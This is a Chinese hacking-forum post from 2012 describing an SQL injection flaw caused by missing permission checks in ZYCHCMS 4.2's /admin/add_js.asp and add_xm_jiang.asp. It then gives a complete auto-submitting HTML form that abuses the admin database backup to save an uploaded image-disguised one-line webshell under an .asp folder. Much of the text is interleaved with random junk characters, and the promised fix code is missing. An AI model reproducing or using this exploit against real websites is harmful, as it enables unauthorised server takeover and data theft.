找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1652|回复: 0
打印 上一主题 下一主题

ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-10 21:09:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

) Y! W3 R9 G8 U# {/ s+ J* a  S1 C- d$ d5 ~1 T' g% V- `
: H. A- F5 g, r8 Z) i8 j
# |! ^" i2 ]* W/ ?2 E; f6 _
影响版本:ZYCHCMS企业网站管理系统4.2(存在以下两个文件的版本应该是通杀)
2 ^' c8 ?7 K$ U ①SQL注射漏洞
! p9 C7 R( ]5 q* Z 漏洞文件:/admin/add_js.asp & /admin/add_xm_jiang.asp7 R: }9 o6 A7 t* f* l
漏洞原因:未过滤
  r( A# i+ n9 T  G1 M5 d 漏洞代码:
# {  G& E# _9 |* V" R( m- w 都是相同的,文件开头没有调用过滤文件/admin/seeion.asp,导致没有对当前权限进行判断,就直接操作数据库。
" Q+ S1 ?) J6 H2 n5 S! u 修复方法:在文件开头加入代码
6 G; G& Q8 q5 e; D 0 ~/ ^" M; }2 B1 W- I8 N
( t: X" J, J, W) c  u7 G
②后台拿WBSHELL
2 v5 ^: Y- G0 _! R& m 进入后台有一个数据库备份,可以通过本地提交突破创建.asp后缀文件夹,并将一句话备份进去。
0 G/ K( e. p! P 这里在网上找了一个,改了下,将就着用。! f" z/ M) C8 J! I3 Q
以下是代码本地提交代码$ i: M' v; f4 A& A

/ R) f& H7 w0 P6 S) A& h. E! }8 R1 D. V7 J* N% O* Q
<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
+ W# Y# F! N1 n$ `" I <!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
7 T2 f2 G; u* u <tr>1 c0 G3 R8 ]/ t% \5 h3 F
<td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
9 A( M& j7 u/ P& Z: `9 U! ? </tr>% @5 n5 r: R" U
<tr>
1 N6 ?/ D  {% c <td bgcolor=”#FFFFFF”><span class=”back_southidc”>4 M" P) a3 J9 w# [: h
</span>9 L0 T; B  o; S) q3 K( Y' F
<table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >! \3 C& f/ t1 e2 w& C# Y
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
7 g+ a; _/ @; f <td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>  O- a. F# i* P- m
<td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d5 \1 l5 d+ H  E! V
<div align=”left”>
' }6 W) V& d$ v: j  J <input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />: A& c& B. y& M5 m
<!–eg:../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>- [* M  z* ?$ S& W! J' S
<input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />( I; |$ X" \8 P
</div></td>8 K" `0 k5 U$ s' G- v: Y
</tr>
; Q9 U. e* W# y8 s# { <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>7 Y: G" N; {- `( l* c0 n8 O. T' I
<td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>- u( E! v3 @8 M
<td class=”td”><div align=”left”>& c5 ^" V% d1 W0 l3 Y4 e6 d1 \, F) V2 f. \
<input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />9 Q/ e8 h: D/ H; S9 I& q
[如备份目录有该文件,将覆盖,如沒有,将自动创建]</div></td>
: d) P7 Q, t- Y7 W9 S. G </tr>
0 N  g7 x4 p! E4 S" m* t <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
; s0 O/ i8 C+ i2 \# |$ n! s <td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>4 ^3 n; O9 d9 }/ n9 v* f
<td class=”td”><div align=”left”>
# k- S0 G$ y) ^; p+ s <input type=”submit” value=”确定备份” class=”btn”2 d: F. ^& J5 o" _% h
</div></td>
3 K4 _% L2 o0 A: }" h9 s) ?: O </tr>
  c& ~- ~1 U2 @9 f7 K; T </table></td></tr></form># n0 z1 e7 y% V- T) e
</table>- `4 c8 S% k* u- e7 I. {
</td>
2 h0 D( q3 {& s' S' C* |7 M) J </tr>
( W3 f9 [* M# }+ M </table>
  R6 V4 z0 X$ O <script>
0 C0 K$ g1 M) H* w* w- l document.all.add.submit();# t% X, ?; s# x5 M2 r6 d' v
</script>
3 o# t& e+ d$ ~& w# d
! `8 r' Y; T3 y' D" y
) i6 w1 B# e5 j: I9 t( t9 \$ T$ B$ U; ~% m
) X* \  K- R9 f" L/ z; C% k  D. m

; X/ ?0 O7 n) }! L4 Q- f) x, g4 a: P0 x. [# D, G6 N5 a5 ?6 h, E- l% j: L
8 l' _! _, j. E+ b

) \3 T4 F8 r, @! ^+ U- I
  f/ e6 f  e  Y' W% }4 V; q
0 ?5 k; P  I4 T1 X# T6 s: x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表